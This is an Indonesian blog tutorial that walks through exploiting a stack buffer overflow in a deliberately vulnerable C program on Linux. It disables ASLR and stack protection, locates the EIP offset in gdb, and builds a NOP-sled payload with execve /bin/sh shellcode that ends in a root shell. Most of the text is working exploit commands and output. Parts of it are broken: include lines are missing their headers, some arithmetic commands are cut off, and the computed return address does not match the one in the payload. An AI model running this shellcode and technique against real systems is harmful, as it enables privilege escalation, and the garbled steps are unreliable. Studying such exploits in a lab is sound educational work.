Monday, September 6, 2010

Linux Buffer Overflow Tutorial

 

Linux Buffer Overflow Tutorial
Edisi : Pertama

Penulis : gunslinger_
Tanggal : Sat Jun 26 20:27:41 WIT 2010
Konten :
1. Pendahuluan
2. Konsep exploitasi
3. Attack vector
3.1. NOP
3.2. NOPSLED
3.3. PAYLOAD
4. Special thanks
– Pendahuluan
Setelah saya banyak melakukan penelitian pada kernel linux yang baru – baru ini ,
terutama kernel 2.6.8 ke atas memang tidak mungkin untuk mempraktikan teknik exploitasi buffer overflow dengan cara lama .
maka dari itu saya menulis tutorial ini agar kita bisa mempraktikan “apa itu sebenarnya buffer overflow ?”
pada kernel 2.6.8 ke atas karena kita mendapatkan kernel terbaru pada operting system pada saat ini.
dengan tutorial ini, saya akan menjelaskan secara terperinci menjelaskan teknik exploitasi buffer overflow.
– Konsep Exploitasi buffer overflow
ok, sekarang kita lanjut saja ke topik utama. sekarang kita harus membuat program yang vulnerable terhadap serangan buffer overflow.
———————bof.c————————–
01#include
02#include
03 
04int main(int argc, char** argv)
05{
06        char buffer[400];
07        strcpy(buffer, argv[1]);
08 
09        return 0;
10}
———————EOF—————————–
kita save dengan nama bof.c .
kita lihat pada source berikut itu bahwa adanya fungsi strcpy() .
fungsi strcpy() sangat berbahaya karena tidak adanya pengecekan filter panjang data yang akan kita input.
ok, sekarang saatnya kita mematikan randomize_va_space memory tujuannya agar kita mudah mengalokasikan memory.
dengan cara seperti berikut.
1root@bt:~# cat /proc/sys/kernel/randomize_va_space
22
3root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
4root@bt:~# cat /proc/sys/kernel/randomize_va_space
50
6root@bt:~#
sekarang saatnya kita meng – compile program tersebut.
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.
berikut caranya
1root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
sekarang saatnya kita mencari panjang string agar program si program mengalami crash.
1root@bt:~# ./bof `perl -e 'print "A" x 400'`
2root@bt:~# ./bof `perl -e 'print "A" x 403'`
seperti yang kita lihat, data tercopy kedalam buffer dan program exit secara normal.
dimana kita mengkopikan huruf “A” 400 – 403 bytes kedalam buffer.
1root@bt:~# ./bof `perl -e 'print "A" x 404'`
2Segmentation fault
3root@bt:~#
disitu kita tahu kita membutuhkan 404 panjang string agar si program mengalami crash .
lalu kemudian sekarang yang kita lakukan adalah kita mencari panjang string agar register EIP teroverwrite pada inputan kita.
EIP adalah poin awal dimana instruksi selanjutnya akan tereksekusi, maka jika EIP tersebut kita teroverwrite, kita bisa melakukan apa yang kita mau eksekusi pada saat itu.
sekarang, saatnya kita gunakan GNU debugger atau biasa disebut gdb.
perhatikan pada experiment berikut.
01root@bt:~# gdb -q bof
02(gdb) list
031       #include
042       #include
053
064       int main(int argc, char** argv)
075       {
086               char buffer[400];
097               strcpy(buffer, argv[1]);
108
119               return 0;
1210      }
13(gdb) run `perl -e 'print "A" x 404'`
14Starting program: /root/bof `perl -e 'print "A" x 404'`
15 
16Program received signal SIGSEGV, Segmentation fault.
170xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
18(gdb) run `perl -e 'print "A" x 405'`
19The program being debugged has been started already.
20Start it from the beginning? (y or n) y
21Starting program: /root/bof `perl -e 'print "A" x 405'`
22 
23Program received signal SIGSEGV, Segmentation fault.
240xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6
25(gdb)
hmmm terlihat bahwa kita belum mengoverwritenya kita coba lagi tambahkan 1 string
1(gdb) run `perl -e 'print "A" x 406'`
2The program being debugged has been started already.
3Start it from the beginning? (y or n) y
4Starting program: /root/bof `perl -e 'print "A" x 406'`
5 
6Program received signal SIGSEGV, Segmentation fault.
70xb7004141 in ?? ()
8(gdb)
ok, disitu sekarang sudah terlihat kita sedikit lagi mengoverwrite total eip.
perhatikan -> 0xb7004141
disitu ada 4141 , 41 adalah huruf “A” dalam bilangan hexadesimal . namun kita perlu mengoverwrite total address EIP tersebut.
1(gdb) run `perl -e 'print "A" x 407'`
2The program being debugged has been started already.
3Start it from the beginning? (y or n) y
4Starting program: /root/bof `perl -e 'print "A" x 407'`
5 
6Program received signal SIGSEGV, Segmentation fault.
70x00414141 in ?? ()
8(gdb)
sedikit lagi…
1(gdb) run `perl -e 'print "A" x 408'`
2The program being debugged has been started already.
3Start it from the beginning? (y or n) y
4Starting program: /root/bof `perl -e 'print "A" x 408'`
5 
6Program received signal SIGSEGV, Segmentation fault.
70x41414141 in ?? ()
8(gdb)
disitu terlihat bahwa kita telah mengoverwrite total register EIP.
perhatikan -> 0×41414141
kita sudah berhasil mengoverwritenya dengan huruf “A” dengan panjang string 408.
01(gdb) i r
02eax            0x0      0
03ecx            0xbffff0b7       -1073745737
04edx            0x199    409
05ebx            0xb7fc9ff4       -1208180748
06esp            0xbffff250       0xbffff250
07ebp            0x41414141       0x41414141
08esi            0x8048400        134513664
09edi            0x8048310        134513424
10eip            0x41414141       0x41414141 <-- ter overwrite !!
11eflags         0x210246 [ PF ZF IF RF ID ]
12cs             0x73     115
13ss             0x7b     123
14ds             0x7b     123
15es             0x7b     123
16fs             0x0      0
17gs             0x33     51
18(gdb)
sekarang yang perlu kita lakukan adalah dimana keberadaan register ESP (stack pointer).
01(gdb) list 1
021       #include
032       #include
043
054       int main(int argc, char** argv)
065       {
076               char buffer[400];
087               strcpy(buffer, argv[1]);
098
109               return 0;
1110      }
12(gdb) b 7
13Breakpoint 1 at 0x80483cd: file bof.c, line 7.
14(gdb)
perlu diperhatikan kita perlu menggunakan dimana fungsi vulnerable strcpy() sebagai breakpoint untuk mengetahui dimana keberadaan register ESP.
01(gdb) run test to see where esp is
02The program being debugged has been started already.
03Start it from the beginning? (y or n) y
04Starting program: /root/bof test to see where esp is
05 
06Breakpoint 1, main (argc=7, argv=0xbffff434) at bof.c:7
077               strcpy(buffer, argv[1]);
08(gdb) i r esp
09esp            0xbffff210       0xbffff210
10(gdb)
esp terletak pada address 0xbffff210
– Attack vector
ok sekarang bagian pengexploitasinya. kita butuh membuat attack vector untuk pengexploitasiannya.
sekarang yang perlu dimengerti apa itu NOP , NOPSLED, PAYLOAD.
- NOP
pertama saya akan menjelaskan apa itu NOP.
NOP dalam bahasa assembly adalah no-op atau no operation sampai instruksi selanjutnya tereksekusi.
dengan kata lain NOP adalah bagian yang dilewati sampai instruksi yang benar2 tereksekusi.
disini kita pakai NOP untuk melancarkan attack sampai bertemu instruksi yang kita inginkan.
NOP dalam bentuk opcode adalah “90″ atau “\x90″ dalam bentuk shellcode.
- NOPSLED
kedua saya akan menjelaskan apa itu NOPSLED. NOPSLED adalah serentetan yang terdiri dari NOP sampai beberapa bytes.
contoh seperti `perl -e ‘print “\x90″ x 40′`. maka kita akan mendapatkan “x90″ sampai 40 bytes (40 kali).
- PAYLOAD
ketiga saya menjelaskan apa itu PAYLOAD. PAYLOAD adalah serentetan kode yang akan kita eksekusikan.
shellcode adalah sebagai PAYLOAD nya
selanjutnya kita akan memeriksa dimana NOPSLED akan di tempatkan.
kita ulangi address tersebut sampai register EIP teroverwrite.
dan akhirnya memaksa program untuk melanjutkan eksekusi pada alamat NOP.
lalu kita ambil alamat pada register ESP dan kurangi register tersebut. sebut saja bilangan itu 300.
1root@bt:~# printf "%x\n" $((0xbffff210-300))
2bffff0e4
3root@bt:~#
alamat tersebut akan menempatkan kita pada NOPSLED.
sekarang yang kita butuhkan adalah mengkonversi alamat tersebut pada bentuk little endian.
-> e4f0ffbf
lalu kita jadikan ke bentuk shellcode.
-> \xe4\xf0\xff\xbf
sekarang saatnya kita menghitung berapa kali alamat tersebut harus di ulang.
kita tahu bahwa untuk mengoverwrite register EIP kita membutuhkan 408 bytes.
1root@bt:~# print "%d\n" $((408 -
kita kurangi dengan panjang NOPSLED kita. panjang NOPSLED kita adalah 200 bytes
1root@bt:~# print "%d\n" $((408 - 200
shellcode yang akan kita gunakan shellcode yang akan memberikan shell. kita bisa pakai shellcode berikut :
1"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellcode tersebut berukuran 28 bytes.
dan kurangi 28 bytes untuk shellcode kita.
1root@bt:~# printf "%d\n" $((408 - 200 - 28))
2180
3root@bt:~#
jadi kita 180 bytes untuk mengulangi alamat tersebut.
karena address memiliki panjang 4 bytes. kita harus membaginya dengan 4.
1root@bt:~# printf "%d\n" $((180/4))
245
3root@bt:~#
ok kita telah dapatkan berapa kali yang kita butuhkan untuk mengoverwrite EIP. yaitu 45.
maka payload kita akan seperti berikut :
NOPSLED + SHELLCODE + ESP
1`perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`
sekarang saatnya kita run paload kita tersebut langsung saja di debugger.
01(gdb) run `perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`
02Starting program: /root/bof `perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`
03 
04Breakpoint 1, main (argc=2, argv=0xbffff2d4) at bof.c:7
057               strcpy(buffer, argv[1]);
06(gdb) continue
07Continuing.
08Executing new program: /bin/bash
09(no debugging symbols found)
10Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
11(no debugging symbols found)
12Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
13(no debugging symbols found)
14Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
15(no debugging symbols found)
16Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
17(no debugging symbols found)
18Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
19(no debugging symbols found)
20Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
21(no debugging symbols found)
22Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
23(no debugging symbols found)
24Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
25(no debugging symbols found)
26Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
27sh-3.2# id
28uid=0(root) gid=0(root) groups=0(root)
29sh-3.2# echo WIN.
30WIN.
31sh-3.2# exit
32 
33Program exited normally.
34(gdb) quit
35root@bt:~#
selamat ! anda telah sukses mengexploitasi buffer overflow !
– special thanks : devilzc0de crew and jasakom crew
: www.devilzc0de.org / www.devilzc0de.com – www.jasakom.com , indonesianhacker.org, yogyacarderlink.web.id
: serverisdown.org, xc0de.or.id, echo.or.id

 

No comments:

Template by : mhiman@ hacker-newbie.org